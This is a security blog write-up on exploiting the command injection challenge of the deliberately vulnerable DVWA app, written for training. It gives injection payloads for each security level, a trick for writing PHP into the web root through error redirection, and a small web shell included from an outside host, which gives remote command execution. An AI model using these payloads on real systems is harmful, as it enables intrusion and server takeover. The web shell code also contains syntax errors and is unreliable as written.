DVWA - Unintended Command Injection - High

In preparation for a new web security training course (german, coming soon), I had another look at the current version of the Damn Vulnerable Web App (DVWA). As I documented the solution for the command injection vulnerability on high, I found something that sparked a tiny idea how this part might be exploited in a totally different way. Obviously I had to investigate further and since I didn't see this solution out there already, I documented it here for anyone who's interested.

The usual way

I'm not going to go into DVWA itself, if you are not familiar with it, please have a look at the github page. What I am going to do however, is detail the intended way to exploit this vulnerability.

DVWA - Command Injection Page on high security setting

DVWA has three settings for each vulnerability. The command injection weakness on a low security level is as easy as this:

// code snippet
shell_exec(ping -c 4 $_REQUEST['ip'];

// easily exploitable with
http://dvwa.whatever.tld/vulnerabilities/exec/?ip=127.0.0.1;whoami

// which results in
ping -c 4 127.0.0.1;whoami

Now on the medium security security level, dvwa starts limiting the options by filtering out certain characters, i.e. && and ;. It's still easy enough to exploit, for example by using only one & or one of the numerous other chars that let us chain commands. I wanted to see, whether the $ char could be used for mischief on its own without using parentheses ($(command)) and came up with the following idea for medium.

// extract variable information using $
http://dvwa.whatever.tld/vulnerabilities/exec/?ip=.$PWD+2>/var/www/dvwa/cmd.log

// which would result in this command being executed
ping -c 4 .$PWD 2>/var/www/dvwa/cmd.log

// and sure enough, when I visited http://dvwa.whatever.tld/cmd.log to have a look at the result file, the following result was shown
ping: ./var/www/dvwa/vulnerabilities/exec: Name or service not known

By feeding environment variables prepended with a . to ping instead of a valid IP and redirecting the output to a document in the web directory, we can see the value of the variable. Unfortunately, on high difficulty that attack is not usable anymore, since $ is filtered out, as well as a bunch of other characters.

DVWA - Command Injection High - Character Blacklist Filter

Someone with a keen eyes should spot the error in the mistake in the list show above. The character | is not filtered out, instead the combination of |whitespace is.

// Command can still be injected by using | without a whitespace
http://dvwa.whatever.tld/vulnerabilities/exec/?ip=127.0.0.1|whoami

// which results in
ping -c 4 127.0.0.1|whoami

Now that is the intended way to exploit DVWA on high. I was curious however, whether this vulnerability can be exploited to execute system commands by using some of the remaining characters that haven't been filtered out, especially ', ", > and ?

The unintended(?) way

I assume this was not the intended way to exploit this weakness, but then again, who wants to exploit something the intended way?

Step one is to check, whether we can still write text into a file. We can't use environment variables anymore, but being able to write (somewhat limited) arbitrary text into a file should be good enough.

// OWASP ZAP POST request
POST http://dvwa.whatever.tld/vulnerabilities/exec/ HTTP/1.1

// POST data
ip=.'test' 2>/var/www/dvwa/test.php&Submit=Submit

// GET result for /test.php
ping: .test: Name or service not known

Great, we can still write to a file in the web directory. Next we're going to try and inject some PHP code.

// POST data
ip=.'<?php echo "what is this then?<!--"?>' 2>/var/www/dvwa/test.php&Submit=Submit

// GET result for /test.php
ping: .what is this then?

Awesome, so PHP code is not a problem. Next, we want to execute system commands, and that's where it get a bit tricky, or so I thought.

// POST data
ip=.'<?php shell_exec("ls -lah")?>' 2>/var/www/dvwa/test.php&Submit=Submit

// GET result for /test.php
<blank page>

Damn. If we take a look at the blacklist above, it should be fairly obvious why that doesn't work. The characters $,;,( and ) are all being filtered out, so our PHP coding options are somewhat limited.

The big question is, what can we do in PHP without these characters? Well, there are still some options. What we can use to our advantage in this scenario are language constructs (see solidlystated of an explanation). Language constructs are similar to functions but don't require parantheses, as shown in the echo example above. Luckily, besides echo, there is also the construct include, which allows us to include local or even remote files, although the later requires allow_url_include to be enabled in the PHP options.

So, off we go to write our own dirty little PHP script which we host on a server that is reachable by our target machine. One very, very simple example would be:

<?php
$out=shell_execute($_REQUEST['cmd']);
echo "<br><b>CMDi result for:</b>".$_REQUEST['cmd']."<br>".$out"</br>;
?>

Of course, that's not secure coding at all, but I promise I won't ship it in production. With the script hosted, we can now attempt to inlcude it in DVWA using the following request.

// POST data
ip=.'<?php include "http://pwny.whatever.tld/cmd.php.txt"?><!--' 2>/var/www/dvwa/test.php&Submit=Submit

And the GET result for /test.php?cmd=whoami is?

DVWA - Command Injection High - Exploitation Result

Conclusion

Not much to say here, it was fun tinkering around with a vulnerability that I thought I knew already and finding a new way to exploit it. As I said, the include construct requires allow_url_include to be set in order to include remote sources, so this is not a sure fire way of exploiting a faulty command execution feature. Nevertheless, I learned a new approach to this type of vulnerability and I hope other have too by reading this. If you have questions or additional ideas, I'm all ears. Best tweet me @hashtagsecurity or us @LastBreach.